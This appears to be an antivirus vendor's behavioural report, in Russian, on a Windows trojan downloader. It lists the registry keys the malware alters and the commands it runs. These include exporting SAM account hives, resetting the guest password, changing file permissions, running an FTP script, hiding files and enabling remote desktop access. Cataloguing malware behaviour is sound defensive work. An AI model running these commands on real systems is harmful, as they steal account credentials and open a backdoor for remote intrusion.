Trojan.DownLoader9.52962

Техническая информация

Для обеспечения автозапуска и распространения:

Модифицирует следующие ключи реестра:

[<HKLM>\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon] 'Shell' = 'Explorer.exe %systemroot%\system32\qq.exe'

Создает следующие сервисы:

[<HKLM>\SYSTEM\ControlSet001\Services\TermService] 'Start' = '00000002'

Вредоносные функции:

Создает и запускает на исполнение:

'%WINDIR%\Config\qq.exe'
'%WINDIR%\Config\1.exe'

Запускает на исполнение:

'<SYSTEM32>\reg.exe' EXPORT HKLM\SAM\SAM\Domains\Account\Users\000001F4 %WINDIR%\config\1F4.REG
'<SYSTEM32>\reg.exe' EXPORT HKLM\SAM\SAM\Domains\Account\Users\000001F5 %WINDIR%\config\1F5.REG
'<SYSTEM32>\reg.exe' EXPORT HKLM\SAM\SAM\Domains\Account\Users\Names\%USERNAME% %WINDIR%\config\%USERNAME%.REG
'<SYSTEM32>\regini.exe' %WINDIR%\config\open.ini
'<SYSTEM32>\cacls.exe' <SYSTEM32>\net1.exe /g %USERNAME%s:f
'<SYSTEM32>\net1.exe' user guest wocaonima
'<SYSTEM32>\net1.exe' user guest /active:n
'<SYSTEM32>\ftp.exe' -n -s:<SYSTEM32>\tan.txt
'<SYSTEM32>\attrib.exe' <SYSTEM32>\qq.exe +a +s +r +h
'%WINDIR%\regedit.exe' /s <SYSTEM32>\auto.reg
'%WINDIR%\regedit.exe' /s %WINDIR%\config\guest1.reg
'<SYSTEM32>\reg.exe' EXPORT HKLM\SAM\SAM\Domains\Account\Users\Names\guest %WINDIR%\config\guest.REG
'<SYSTEM32>\more.com' +7 %WINDIR%\config\1f5.REG
'<SYSTEM32>\more.com' +2 %WINDIR%\config\guest.REG
'<SYSTEM32>\cmd.exe' /c ""%TEMP%\2.tmp\send.bat" "
'<SYSTEM32>\ipconfig.exe'
'<SYSTEM32>\find.exe' /i "ip address"
'<SYSTEM32>\wscript.exe' "%WINDIR%\config\hide.vbs"
'<SYSTEM32>\cmd.exe' /c ""%TEMP%\1.tmp\1.bat" "
'<SYSTEM32>\cacls.exe' <SYSTEM32>\WSHom.Ocx /g %USERNAME%s:f
'<SYSTEM32>\regsvr32.exe' <SYSTEM32>\WSHom.Ocx /s
'<SYSTEM32>\cacls.exe' <SYSTEM32>\remotepg.dll /e /d %USERNAME%s
'<SYSTEM32>\cacls.exe' <SYSTEM32>\localsec.dll /e /d %USERNAME%s
'<SYSTEM32>\cacls.exe' <SYSTEM32>\net.exe /g %USERNAME%s:f
'<SYSTEM32>\reg.exe' query HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server\WinStations\RDP-Tcp /v PortNumber
'<SYSTEM32>\sc.exe' config TermService start= auto
'<SYSTEM32>\sc.exe' start TermService
'<SYSTEM32>\reg.exe' ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f